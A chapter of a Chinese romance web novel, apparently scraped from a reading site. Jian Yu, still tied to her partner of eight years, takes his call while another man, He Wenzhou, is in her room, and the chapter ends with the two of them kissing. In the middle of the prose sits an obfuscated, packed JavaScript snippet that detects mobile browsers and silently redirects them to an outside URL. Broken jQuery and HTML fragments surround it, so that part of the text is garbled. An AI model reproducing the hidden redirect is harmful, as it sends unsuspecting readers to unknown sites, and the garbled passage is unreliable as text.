简瑜刚从浴室出来,还没来得及吹头发,就听见何文舟掐着点来敲了门。
头发的发梢还在往下滴水,她拿了块毛巾搭在肩上去开了门,见果然是何文舟,她拉开整扇门:“进来吧,我先吹个头发。”
她拿起吹风机的时候,何文舟却接了过去,替她插上了电源。
湿漉的发丝在轰鸣声中一点点被吹干,在他的指尖跳跃,简瑜望着镜子里她身后的何文舟,有些意外自己并不抗拒他的亲密,乍一看,似乎他们才是那对谈了八年恋爱的情侣。
等到头发吹的差不多干了时,她开口问他:“为什么喜欢我,是抢闻平清的东西让你感到愉快,还是因为这种背德感让你觉得刺激?”
这句话问的没有逻辑,也没有任何铺垫,何文舟手上的动作一怔,他抬眸透过镜子和简瑜对视上。
“你怎么总把我想的这么坏?”
简瑜耸肩:“因为我实在找不到合适的理由。”
何文舟在某些方面的确很适合循循善诱:“如果你非要一个理由,我可以告诉你,但是应该不是你想要的答案。”
简瑜“哦”了一声,然后说:“那你不用说了。”
何文舟的笑声隐在吹风机发出的轰鸣声中,简瑜没听见。
等头发完全吹干,耳边的噪声消失,简瑜终于听到了手机的微信电话铃声。屏幕上是闻平清的名字,前面他打了两个,她都没有听到。
她拿过手机起身,走到阳台才接起电话:“喂?”
闻平清的声音有些空洞,像是从很远处传来:“你知不知道vin..剩下的鱼食放在哪里?我找了很久都没有找到。”
“好像是在客厅的电视机柜下面。”简瑜想了下才说,“上次我好像顺手放过去了。”
电话那头传来翻找的声音,一阵默然后,闻平清说:“找到了。”
话筒里话音落下的瞬间,身后的阳台门被拉开,简瑜回身看,何文舟倚在阳台门边,举着她买的药膏,朝她无声的问道:“什么时候给我涂药?”
慌乱间,通话的扩音键正好被她的脸颊摁开。
闻平清的声音一下子充斥了整个阳台:“什么时候回有定吗?我去接你。”
简瑜看见何文舟敛起了脸上的笑,他径直朝她走来,手指抚上她脸侧掉落的碎发,帮她重新捋回到耳后。明明是充满了暧昧的动作,此刻却让简瑜感到不安,整个人如同至在冰窖里,全身上下都在发冷。
她知道,这个时候只要何文舟随便说些什么,就都完了。
“简瑜?”闻平清没听到回应,又喊了她一声,“你有在听吗?”
简瑜回过神,视线对上何文舟的唇,两片唇正一开一合:“还不结束吗?”
视线上移,她看向他的眼睛,他无声的对她挑着眉,脸上的神情却期待着她的回答。
“还不确定。”简瑜含糊其辞道,“你忙你的就行,我自己打车回去。”
“好..”两人之间似乎再无话可说,但也没人主动挂断这通电话,僵持了一会儿,简瑜决定开口时,闻平清似乎是想起了什么,他说:“马上跨年了,妈让我们一起回去吃饭。”
简瑜“嗯”了一声,这次她没有拒绝。
该怎么形容这种关系呢,他们虽然没有结婚,但这几年也与婚姻无异了。加上闻母一直以来都很照顾她,她没有理由拒绝长辈的邀请。
他们的分开,远比她想象中的还要钝刀割肉。
“那没什么其他的事,我就先挂了。”简瑜想结束这通电话,她以为闻平清的想法和她一样。
但是闻平清的声音却变得轻柔起来,他说:“阿瑜,我很想你。”
简瑜睁大了眼睛,闻平清在搞什么啊?他从前很少说这种话的,从来都是她去主动引导着他,先去问他想不想自己。
而如今她提出分开后,他们的身份好像做出了改变。
她不再问,他却主动说了出口。
这种变化让简瑜觉得哪里怪怪的,她说不上来,也许真像何文舟说的那样,他感受到了来自另一个男人的威胁,所以开始改变自己,开始主动讨好她起来。
何文舟在一旁听着,却觉得很有意思。
简瑜的反应,显然对闻平清说出的这番话感到很吃惊,他们在一起的这八年,似乎很少说这种亲密的话语,那他们究竟又是怎么相处的呢?他忽然萌生出一股好奇,一个男人因为另一个男人的存在感到威胁,究竟又可以做到什么地步呢?
想到这,何文舟却主动后退出了阳台,顺手还把门给带上了。
他把空间留给了简瑜和闻平清,自己坐在床边把玩着手里的药膏,这种时候的以退为进,又何尝不是一种短暂的胜利。
一分钟不到,简瑜推门进来,她草草结束了通话。
何文舟却觉得等待已久,他把药膏递给简瑜,脸上却没了刚刚调侃她时的神情:“我的伤口很疼。”
简瑜莫名觉得他在因为刚刚那通电话生气,但他哪来的身份生气,就算闻平清变成了她的前男友,但是他们八年的感情不是假的,而他,他们不过接触也才几个月时间。
今晚被两个男人的情绪夹击,简瑜也开始变得有些烦躁。
她接过药膏:“我让你帮我挡了吗?”
何文舟听出了她话里的情绪,他没有因此不满,却觉得有脾气的她比在闻平清面前的树立完美人设的她要好多了。他扭头看着身后的人,讲出来的话虽跟带了刺般,但手里的动作却没停。
“嗯,没有。”何文舟举手缴械投降,“我自愿的。”
简瑜没理他这句话:“你自己把衣服掀起来。”
何文舟照做,乖乖的把后背露了出来,一片明显的青紫色淤青映入眼帘。她没想过他能被砸的这么重,这要是真砸在她身上,她哪里还能去吃的了今晚的椰子鸡,怕是这会儿正躺在医院里享受脑震荡的洗礼了。
简瑜把药膏挤到上面,又拿何文舟递过来的棉签将它抹匀。
“你白天都不疼?”她边涂边问。
何文舟被棉签触碰到的地方还是有些疼,但他还是说:“不疼。”
涂完之后,简瑜把棉签扔进垃圾桶:“你晾一下吧,等稍微干一些再把衣服放下来。”
何文舟很听话,“嗯”了一声坐在那里没动。
简瑜拿了把椅子坐到他对面,拿过手机边回消息边问何文舟:“我们明晚就可以回去了吧?”
何文舟注视着她:“你很急吗?”
“什么意思?”她不解,抬头看了他一眼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788520|174566||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“急着回去见他。”
他说着这话,心里却有一点吃瘪:“我从来没有想过只是和你玩玩,我很认真。我知道你想要什么,我也能把你托举到更高的高度。就算你不想分手,或者也不想给我承诺什么。”
“如果你只想看眼前,那么我就只专注当下。如果你想看的长久,那么我比他会更适合你。”
“不管短暂或是长久,尊崇自己的内心,不好吗?”
“不好。”简瑜直白拒绝道:“人活着不可能只为了自己。”
简瑜有时候特恨自己这股莫名的道德感,如果她能短暂的放纵一次,或许就一次,一个晚上,不用去考虑之后需要面对的一切指责,也不用去考虑辜负任何一个人的信任。
或许他们能去很远很远的地方,在没有人会发现的地方。
但不是不能,是不敢。
“回去之后,你要不要和我去旅行一次?”
他像是能看穿她所有的想法,每次说的话总是能直击她的心灵深处,简瑜不得不承认,她有些喜欢何文舟点到为止的这种隐秘的越界感,就像亚当和夏娃初尝禁果时那样的试探。
或许,是不是迟来的喜欢,并不需要那么强的道德感。
屋内很静谧,简瑜不再说话。
她从椅子上起身,走到阳台。她的内心在挣扎,那些在闻平清那里得不到的回应,在何文舟这里通通得到了。对于他的亲近,她不抗拒,甚至内心是颤栗的,也是跃跃欲试的。
明明一开始,对于眼前人,她是有些不喜的。
简瑜甚至开始追溯,究竟是哪个时间节点,她心里的天平开始有了变化。
何文舟不再等待,他朝简瑜的方向上前了一步,阳台边传来咸咸的海风夹杂着椰子树的清香,他不慌不忙,徐徐不急。
“Jane,你敢不敢亲我一下,听下你自己内心的声音。”
他们距离离得很近,简瑜清楚的看到他的脸上,连带着眉眼处都是湿湿的。
何文舟身上的药膏味,似乎在提醒着她,今晚的这一切,都是因为白天的她惹出来的。如果她没有去摄影组那边,如果她没有站到那里,他不会在今晚又出现在自己的房间。
“只用一下,就可以证明一切,不是吗?”他的声音好似带有蛊惑,慢慢凑近的同时,简瑜却不自觉地闭上了眼。她想逃避这一切,却又对于他的靠近无法抗拒,胸腔里,心脏的跳动不是假的。
她很久不再感受到这样猛烈的跳动了。
何文舟弯下腰,配合着她的身高,他们的视线最终停留在同一水平线上。
“所以,要不要试试?”
他们之间的距离不过半分,是一种随时可以逾越但又异常艰难的距离。
简瑜咬着嘴唇,因为太过紧张,她觉得自己有种窒息的感觉。
何文舟不再等,他看着她,却在下一秒贴上她的唇,唇瓣触碰在一起的时候,她的心跳再也掩盖不住。从浅薄的触碰到激烈的拥吻,他慢慢直起身来,两人的身高差让简瑜无意识的踮起脚回吻。
连她自己都没发现的亲密动作。
她不自觉的去寻找那瓣唇,加深了那个吻。
简瑜想。
如果要下地狱,那不如先和他一起变成坏人。